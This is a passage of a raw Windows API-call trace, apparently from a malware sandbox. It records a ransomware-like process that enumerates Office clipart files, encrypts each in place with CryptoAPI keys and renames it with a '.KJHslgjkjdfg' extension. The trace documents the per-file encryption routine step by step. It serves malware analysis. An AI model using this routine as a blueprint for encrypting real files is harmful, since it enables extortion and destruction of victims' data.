HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0201.905] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152622.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152622.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152622.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152622.wmf.kjhslgjkjdfg")) returned 1 [0201.906] CloseHandle (hObject=0x130) returned 1 [0201.906] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56452630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x6688, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0152626.WMF", cAlternateFileName="")) returned 1 [0201.906] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152626.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152626.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0201.907] GetProcessHeap () returned 0x2ef0000 [0201.907] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0201.907] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0201.907] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0201.907] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0201.909] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0201.910] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0201.910] GetProcessHeap () returned 0x2ef0000 [0201.910] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0201.910] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0201.910] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0201.910] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0201.910] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0201.910] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0201.910] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0201.910] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0201.910] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0201.910] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0201.910] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0201.910] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.911] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x6688, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x6688, lpOverlapped=0x0) returned 1 [0201.912] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x6690, dwBufLen=0x6690 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x6690) returned 1 [0201.912] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.912] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x6690, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x6690, lpOverlapped=0x0) returned 1 [0201.912] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0201.912] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x6764, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.912] SetEndOfFile (hFile=0x130) returned 1 [0201.915] GetProcessHeap () returned 0x2ef0000 [0201.915] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0201.915] GetProcessHeap () returned 0x2ef0000 [0201.915] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0201.915] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152626.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152626.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152626.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152626.wmf.kjhslgjkjdfg")) returned 1 [0201.917] CloseHandle (hObject=0x130) returned 1 [0201.917] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56452630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x785c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0152628.WMF", cAlternateFileName="")) returned 1 [0201.917] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152628.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152628.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0201.918] GetProcessHeap () returned 0x2ef0000 [0201.918] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0201.918] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0201.918] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0201.918] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0202.040] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0202.040] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0202.040] GetProcessHeap () returned 0x2ef0000 [0202.040] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0202.040] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0202.040] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0202.040] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0202.040] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0202.040] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0202.040] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0202.041] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0202.041] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0202.041] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0202.041] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0202.041] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.041] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x785c, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x785c, lpOverlapped=0x0) returned 1 [0202.044] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x7860, dwBufLen=0x7860 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x7860) returned 1 [0202.045] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.045] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x7860, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x7860, lpOverlapped=0x0) returned 1 [0202.045] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0202.045] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x7934, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.045] SetEndOfFile (hFile=0x130) returned 1 [0202.048] GetProcessHeap () returned 0x2ef0000 [0202.048] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0202.048] GetProcessHeap () returned 0x2ef0000 [0202.048] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0202.048] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152628.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152628.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152628.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152628.wmf.kjhslgjkjdfg")) returned 1 [0202.049] CloseHandle (hObject=0x130) returned 1 [0202.049] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f4d5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x8774, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0152688.WMF", cAlternateFileName="")) returned 1 [0202.049] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152688.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152688.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0202.050] GetProcessHeap () returned 0x2ef0000 [0202.050] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0202.050] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0202.050] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0202.050] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xc, lpOverlapped=0x0) returned 1 [0202.053] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0202.053] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0202.053] GetProcessHeap () returned 0x2ef0000 [0202.053] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0202.053] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0202.053] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0202.053] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0202.053] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0202.053] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0202.053] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0202.053] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0202.053] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0202.054] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0202.054] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0202.054] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.054] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x8774, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x8774, lpOverlapped=0x0) returned 1 [0202.055] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x8780, dwBufLen=0x8780 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x8780) returned 1 [0202.055] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.055] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x8780, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x8780, lpOverlapped=0x0) returned 1 [0202.056] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0202.056] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x8854, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.056] SetEndOfFile (hFile=0x130) returned 1 [0202.057] GetProcessHeap () returned 0x2ef0000 [0202.057] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0202.057] GetProcessHeap () returned 0x2ef0000 [0202.057] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0202.057] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152688.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152688.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152688.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152688.wmf.kjhslgjkjdfg")) returned 1 [0202.058] CloseHandle (hObject=0x130) returned 1 [0202.058] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f4d5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4f4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0152690.WMF", cAlternateFileName="")) returned 1 [0202.058] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152690.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152690.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0202.059] GetProcessHeap () returned 0x2ef0000 [0202.059] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0202.059] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0202.060] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0202.060] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xc, lpOverlapped=0x0) returned 1 [0202.061] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0202.061] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0202.061] GetProcessHeap () returned 0x2ef0000 [0202.061] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0202.061] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0202.062] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0202.062] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0202.062] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0202.062] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0202.062] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0202.062] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0202.062] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0202.062] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0202.062] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0202.062] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.062] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x4f4, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x4f4, lpOverlapped=0x0) returned 1 [0202.062] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x500, dwBufLen=0x500 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x500) returned 1 [0202.062] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.062] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x500, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x500, lpOverlapped=0x0) returned 1 [0202.063] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0202.063] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x5d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.063] SetEndOfFile (hFile=0x130) returned 1 [0202.064] GetProcessHeap () returned 0x2ef0000 [0202.064] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0202.064] GetProcessHeap () returned 0x2ef0000 [0202.064] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0202.064] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152690.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152690.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152690.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152690.wmf.kjhslgjkjdfg")) returned 1 [0202.066] CloseHandle (hObject=0x130) returned 1 [0202.066] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f4d5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x544, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0152694.WMF", 